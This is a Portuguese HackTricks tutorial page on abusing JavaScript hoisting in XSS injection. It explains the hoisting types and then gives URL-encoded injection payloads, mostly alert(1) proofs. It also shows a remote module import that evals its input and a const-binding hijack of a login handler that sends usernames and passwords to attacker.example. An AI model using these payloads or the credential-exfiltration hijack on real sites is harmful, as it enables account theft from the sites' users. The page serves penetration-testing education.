JS Hoisting

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informação Básica

Na linguagem JavaScript, existe um mecanismo conhecido como Hoisting onde declarações de variáveis, funções, classes ou imports são conceitualmente elevadas ao topo do seu escopo antes da execução do código. Esse processo é realizado automaticamente pelo engine do JavaScript, que percorre o script em múltiplas passagens.

Durante a primeira passagem, o engine faz o parse do código para verificar erros de sintaxe e o transforma em uma abstract syntax tree. Essa fase inclui hoisting, um processo onde certas declarações são movidas para o topo do contexto de execução. Se a fase de parsing for bem-sucedida, indicando ausência de erros de sintaxe, a execução do script prossegue.

É crucial entender que:

  1. O script deve estar livre de erros de sintaxe para que a execução ocorra. As regras de sintaxe devem ser rigorosamente seguidas.
  2. A colocação do código dentro do script afeta a execução devido ao hoisting, embora o código executado possa diferir da sua representação textual.

Tipos de Hoisting

Com base nas informações da MDN, existem quatro tipos distintos de hoisting em JavaScript:

  1. Value Hoisting: Permite usar o valor de uma variável dentro do seu escopo antes da linha em que ela é declarada.
  2. Declaration Hoisting: Permite referenciar uma variável dentro do seu escopo antes da sua declaração sem causar um ReferenceError, mas o valor da variável será undefined.
  3. Esse tipo altera o comportamento dentro do seu escopo devido à declaração da variável antes da sua linha de declaração real.
  4. Os efeitos colaterais da declaração ocorrem antes do restante do código que a contém ser avaliado.

Em detalhe, function declarations exibem comportamento de hoisting do tipo 1. A keyword var demonstra comportamento do tipo 2. Declarações lexicais, que incluem let, const, e class, mostram comportamento do tipo 3. Por fim, as declarações import são únicas, pois são hoisted com comportamentos dos tipos 1 e 4.

Cenários

Portanto, se você tiver cenários em que pode Inject JS code after an undeclared object is used, você poderia fix the syntax declarando-o (assim seu código será executado em vez de lançar um erro):

javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
javascript
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
javascript
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
javascript
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Mais Cenários

javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
javascript
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
javascript
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Antecipe declarações posteriores bloqueando um nome com const

Se você puder executar antes que uma declaração de nível superior function foo(){...} seja analisada, declarar um binding léxico com o mesmo nome (por exemplo, const foo = ...) impedirá que a declaração de função posterior reatribua esse identificador. Isso pode ser abusado em RXSS para sequestrar handlers críticos definidos mais adiante na página:

javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Notas

  • Isto depende da ordem de execução e do escopo global (nível superior).
  • Se seu payload for executado dentro de eval(), lembre-se de que const/let dentro de eval têm escopo de bloco e não criarão vínculos globais. Injete um novo elemento <script> com o código para estabelecer um verdadeiro const global.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks